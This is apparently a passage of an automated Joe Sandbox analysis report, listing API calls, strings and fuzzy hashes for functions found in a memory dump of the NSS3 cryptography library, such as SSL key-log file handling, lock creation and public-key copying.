PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD2FFE6
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD2FFF6
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD30006
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD30016
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD30026
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD30036
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD30046
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD30056
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD30066
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD30076
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD30086
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD30096
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD300A6
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD300B6
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD300C6
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD300D6
PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD300E6

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 530d5597d2be6e1306fb7a4cde9f729ce14eff5c766e0970c15ce474d2e4f3cf
Instruction ID: 3c4de37cbb26e040244d6589bd8cc6ac0ad904d1148e4a32ef5e8d953ff8b966
Opcode Fuzzy Hash: 530d5597d2be6e1306fb7a4cde9f729ce14eff5c766e0970c15ce474d2e4f3cf
Instruction Fuzzy Hash: 983155F2E016A99E8B49FFB5C4481497AB5FB36A1CB00C22AD004C7711D7B5014BCFE6

Function 6CD76E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CD76BF7), ref: 6CD76EB6

Part of subcall function 6CCD1240: TlsGetValue.KERNEL32(00000040,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD1267
Part of subcall function 6CCD1240: EnterCriticalSection.KERNEL32(?,?,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD127C
Part of subcall function 6CCD1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD1291
Part of subcall function 6CCD1240: PR_Unlock.NSS3(?,?,?,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CE1FC0A,6CD76BF7), ref: 6CD76ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CD76EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CD76EFC
PR_NewLock.NSS3 ref: 6CD76F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD76F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CD76BF7), ref: 6CD76F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CD76BF7), ref: 6CD76F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CD76BF7), ref: 6CD76FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CD76BF7), ref: 6CD76FFD

Strings

SSLKEYLOGFILE, xrefs: 6CD76EB1
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CD76FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CD76FF8
SSLFORCELOCKS, xrefs: 6CD76F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CD76F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CD76EF7

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 28c86586b80ef6314bf3fa16777a04d404e5b00a55dd9bef7d7a9dcbc211e07b
Instruction ID: 7e2f1461b62034d987a2cc4a0376ae4e7cbec74394831792d4952ec9bbc6267a
Opcode Fuzzy Hash: 28c86586b80ef6314bf3fa16777a04d404e5b00a55dd9bef7d7a9dcbc211e07b
Instruction Fuzzy Hash: 4EA124B2A55D8097E721573CCC0138832F1EB9732EF5A8B79E871C6EE5EB35A4418261

Function 6CCF5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCF5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CCF5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CCF5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CCF5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CCF5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CCF5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CCF5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CCF5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CCF5F89
free.MOZGLUE(?), ref: 6CCF5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CCF5FB6
free.MOZGLUE(00000000), ref: 6CCF5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCF600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCF6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCF6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCF6094

Strings

, xrefs: 6CCF5EEB

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 53d9e444923af2594144d143865933d0a172b0c87a11df50beffdc6193911f8d
Instruction ID: 80faf8a0eb83ff979cda58d9cb8d435f79e4fa5a3fd503d0e1ff68081482056a
Opcode Fuzzy Hash: 53d9e444923af2594144d143865933d0a172b0c87a11df50beffdc6193911f8d
Instruction Fuzzy Hash: AD8118B1E002059BEB50CF64CC80B9E77B5AF44318F148168EA2AE7791F735E916CBE1

Function 6CCF38C0 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE028,00000000,?), ref: 6CCF38F2
SECKEY_ECParamsToBasePointOrderLen.NSS3(-00000010,?,?,?,?,?), ref: 6CCF3902
SECITEM_CopyItem_Util.NSS3(00000000,00000014,6CCF5E83), ref: 6CCF3AB0
SECITEM_CopyItem_Util.NSS3(00000000,00000038,6CCF5E87), ref: 6CCF3AEA
SECITEM_CopyItem_Util.NSS3(00000000,00000014,6CCF5E63), ref: 6CCF3B03
SECITEM_CopyItem_Util.NSS3(00000000,00000020,6CCF5E6F), ref: 6CCF3B1C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CCF3B40
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CCF3B70
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CCF3B88
PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CCF3B9D
PL_FreeArenaPool.NSS3(?), ref: 6CCF3BB2
PL_FinishArenaPool.NSS3(?), ref: 6CCF3BBD
SECITEM_CopyItem_Util.NSS3(00000000,00000010,?), ref: 6CCF3BD4
SECITEM_CopyItem_Util.NSS3(00000000,-00000020,6CCF5E4F), ref: 6CCF3BF2
PK11_DestroyObject.NSS3(?,?), ref: 6CCF3C1B
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CCF3C40

Strings

security, xrefs: 6CCF3B6A

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Item_$Copy$ArenaPool$ErrorFree$Arena_BaseCallDecodeDestroyFinishInitK11_ObjectOnceOrderParamsPointQuick
String ID: security
API String ID: 3293387093-3315324353
Opcode ID: 4bf018fa53b9eb9564b470acdbba36e7302210eb974837c553340be9a8a34a29
Instruction ID: e71318adacfd19982fe6a8dcbe2fc9027fbc89fccc5638f6d8fb5b9d7f1febcb
Opcode Fuzzy Hash: 4bf018fa53b9eb9564b470acdbba36e7302210eb974837c553340be9a8a34a29
Instruction Fuzzy Hash: 8551E8B2D00204BBE750DF65EC91FAB73B8AF1520CF080528ED16D7B61F725E61A8762

Function 6CD0D8F0 Relevance: 27.4, APIs: 18, Instructions: 354COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000010,00000054,?,00000008,00000054,00000000), ref: 6CD0DA45
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,6CD0D06D), ref: 6CD0DA59
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CD0D06D), ref: 6CD0DA89
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CD0D06D), ref: 6CD0DA9D
TlsGetValue.KERNEL32 ref: 6CD0DB0A
EnterCriticalSection.KERNEL32(?), ref: 6CD0DB1E
TlsGetValue.KERNEL32 ref: 6CD0DB43
EnterCriticalSection.KERNEL32(?), ref: 6CD0DB57
TlsGetValue.KERNEL32(00000000,?,6CD0D06D), ref: 6CD0DB7C
EnterCriticalSection.KERNEL32(?,?,6CD0D06D), ref: 6CD0DB90
PR_Unlock.NSS3(?), ref: 6CD0DBBD
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CD0D06D), ref: 6CD0DC21
PR_SetError.NSS3(00000000,00000000,?,?,?,?), ref: 6CD0DC39
PK11_DoesMechanism.NSS3(?,?,?,?,?,00000000,?,6CD0D06D), ref: 6CD0DC64
TlsGetValue.KERNEL32(?,?,?,00000000,?,6CD0D06D), ref: 6CD0DC84
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CD0D06D), ref: 6CD0DC98
PK11_DoesMechanism.NSS3(?,CE53436C,?,?,?,?,?,00000000,?,6CD0D06D), ref: 6CD0DCE6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CD0D06D), ref: 6CD0DD01

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterSectionValue$Unlock$DoesK11_Mechanism$Error
String ID:
API String ID: 3890939128-0
Opcode ID: 2aa6db7b968ca8bacd3a94f6db573300c1487572539bc010cac5c68c11632cde
Instruction ID: b98bba08943ddca42e0fdd0acdbd097edafd2fa6862ac1fb605481b3577e63c4
Opcode Fuzzy Hash: 2aa6db7b968ca8bacd3a94f6db573300c1487572539bc010cac5c68c11632cde
Instruction Fuzzy Hash: E1E18A74700700CFD7209F28D885B66B7B5FB49318F11896AE99A87B71D770F894CB91

Function 6CD728C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CD75B40: PR_GetIdentitiesLayer.NSS3 ref: 6CD75B56

TlsGetValue.KERNEL32 ref: 6CD7290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CD7291E
TlsGetValue.KERNEL32 ref: 6CD72937
EnterCriticalSection.KERNEL32(00000001), ref: 6CD7294B
PR_EnterMonitor.NSS3(?), ref: 6CD72966
PR_EnterMonitor.NSS3(?), ref: 6CD729AC
PR_ExitMonitor.NSS3(?), ref: 6CD729D1
PR_EnterMonitor.NSS3(?), ref: 6CD729F0
PR_EnterMonitor.NSS3(?), ref: 6CD72A15
PR_EnterMonitor.NSS3(?), ref: 6CD72A37
PR_ExitMonitor.NSS3(?), ref: 6CD72A61
PR_ExitMonitor.NSS3(?), ref: 6CD72A78
PR_ExitMonitor.NSS3(?), ref: 6CD72A8F
PR_ExitMonitor.NSS3(?), ref: 6CD72AA6

Part of subcall function 6CDA9440: TlsGetValue.KERNEL32 ref: 6CDA945B
Part of subcall function 6CDA9440: TlsGetValue.KERNEL32 ref: 6CDA9479
Part of subcall function 6CDA9440: EnterCriticalSection.KERNEL32 ref: 6CDA9495
Part of subcall function 6CDA9440: TlsGetValue.KERNEL32 ref: 6CDA94E4
Part of subcall function 6CDA9440: TlsGetValue.KERNEL32 ref: 6CDA9532
Part of subcall function 6CDA9440: LeaveCriticalSection.KERNEL32 ref: 6CDA955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CD72AF9
free.MOZGLUE(?), ref: 6CD72B16
PR_Unlock.NSS3(?), ref: 6CD72B6D
PR_Unlock.NSS3(?), ref: 6CD72B80

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 4d0aa54cfdd3eaa4a18debee031c3729686649aef3076fbeed73714ee49e271c
Instruction ID: 33947de22f2638e62c6cf9f82d15e1b3136a8e79b4681babbc9d1f152e3ffe7c
Opcode Fuzzy Hash: 4d0aa54cfdd3eaa4a18debee031c3729686649aef3076fbeed73714ee49e271c
Instruction Fuzzy Hash: 5F81B4B1A007409BEB209F75EC45B97B7F5AF4530CF044929D85AC7B21EB32E519CBA2

Function 6CDF9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CDF9C70
PR_NewLock.NSS3 ref: 6CDF9C85

Part of subcall function 6CDA98D0: calloc.MOZGLUE(00000001,00000084,6CCD0936,00000001,?,6CCD102C), ref: 6CDA98E5

PR_NewCondVar.NSS3(00000000), ref: 6CDF9C96

Part of subcall function 6CCCBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CCD21BC), ref: 6CCCBB8C

PR_NewLock.NSS3 ref: 6CDF9CA9

Part of subcall function 6CDA98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CDA9946
Part of subcall function 6CDA98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC616B7,00000000), ref: 6CDA994E
Part of subcall function 6CDA98D0: free.MOZGLUE(00000000), ref: 6CDA995E

PR_NewLock.NSS3 ref: 6CDF9CB9
PR_NewLock.NSS3 ref: 6CDF9CC9
PR_NewCondVar.NSS3(00000000), ref: 6CDF9CDA

Part of subcall function 6CCCBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CCCBBEB
Part of subcall function 6CCCBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CCCBBFB
Part of subcall function 6CCCBB80: GetLastError.KERNEL32 ref: 6CCCBC03
Part of subcall function 6CCCBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CCCBC19
Part of subcall function 6CCCBB80: free.MOZGLUE(00000000), ref: 6CCCBC22

PR_NewCondVar.NSS3(?), ref: 6CDF9CF0
PR_NewPollableEvent.NSS3 ref: 6CDF9D03

Part of subcall function 6CDEF3B0: PR_CallOnce.NSS3(6CE414B0,6CDEF510), ref: 6CDEF3E6
Part of subcall function 6CDEF3B0: PR_CreateIOLayerStub.NSS3(6CE4006C), ref: 6CDEF402
Part of subcall function 6CDEF3B0: PR_Malloc.NSS3(00000004), ref: 6CDEF416
Part of subcall function 6CDEF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CDEF42D
Part of subcall function 6CDEF3B0: PR_SetSocketOption.NSS3(?), ref: 6CDEF455
Part of subcall function 6CDEF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CDEF473

Part of subcall function 6CDA9890: TlsGetValue.KERNEL32(?,?,?,6CDA97EB), ref: 6CDA989E

EnterCriticalSection.KERNEL32(?), ref: 6CDF9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CDF9DAF
_PR_CreateThread.NSS3(00000000,6CDF9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CDF9D9F

Part of subcall function 6CCCB3C0: TlsGetValue.KERNEL32 ref: 6CCCB403
Part of subcall function 6CCCB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CCCB459

_PR_CreateThread.NSS3(00000000,6CDFA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CDF9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CDF9DFC
_PR_CreateThread.NSS3(00000000,6CDFA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CDF9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CDF9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CDF9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CDF9E89

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: d41459fd5dca3534f4af8fe1b7122177c719fc59e3b9875b729ae24a8dfaec2b
Instruction ID: f722f77403e3ae207983cbfa4246b2a1ab0d03f1e08369b634a9931e86404afa
Opcode Fuzzy Hash: d41459fd5dca3534f4af8fe1b7122177c719fc59e3b9875b729ae24a8dfaec2b
Instruction Fuzzy Hash: FB615FB1E01706AFD714DF75D844A67BBF8FF08208B054529E86AC7B20EB31E815CBA1

Function 6CCF3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CCF4014

Part of subcall function 6CCF39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CCF5E6F,?), ref: 6CCF3A08
Part of subcall function 6CCF39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CCF5E6F), ref: 6CCF3A1C
Part of subcall function 6CCF39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CCF4038

Part of subcall function 6CD40FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41000
Part of subcall function 6CD40FF0: PR_NewLock.NSS3(?,00000800,6CCDEF74,00000000), ref: 6CD41016
Part of subcall function 6CD40FF0: PL_InitArenaPool.NSS3(00000000,security,6CCE87ED,00000008,?,00000800,6CCDEF74,00000000), ref: 6CD4102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CCF404D

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CE0A0F4), ref: 6CCF40C2

Part of subcall function 6CD3F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CD3F0C8
Part of subcall function 6CD3F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CD3F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CCF409A

Part of subcall function 6CD3BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CCEE708,00000000,00000000,00000004,00000000), ref: 6CD3BE6A
Part of subcall function 6CD3BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CCF04DC,?), ref: 6CD3BE7E
Part of subcall function 6CD3BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CD3BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCF40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCF40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCF4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CCF411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CCF4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CCF4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CE0A1C8), ref: 6CCF417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CCF4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CCF41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCF41B2
PK11_DestroyObject.NSS3(?,?), ref: 6CCF41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CCF41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CE0A1A8), ref: 6CCF422D

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
